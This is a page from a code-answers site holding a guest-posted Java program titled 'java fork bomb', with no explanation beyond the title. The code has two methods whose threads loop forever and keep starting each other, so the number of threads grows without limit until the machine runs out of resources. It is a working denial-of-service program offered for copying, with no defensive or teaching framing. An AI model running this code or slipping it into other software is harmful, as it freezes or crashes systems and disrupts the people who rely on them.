Answers for "java fork bomb"

0

java fork bomb

public class Fork {
    public static void fork2(){
      Thread t2=new Thread() {
        public void run() {
          while (true) {
            fork1();
          }
        }
     };
     t2.start();
    }
    public static void fork1() {
      Thread t1=new Thread() {
        public void run() {
          while (true) {
            fork2();
          }
        }
     };
     t1.start();
    }
  public static void main(String[] args) {fork1();}
}
Posted by: Guest on June-21-2021

Code answers related to "Java"

Java Answers by Framework

Browse Popular Code Answers by Language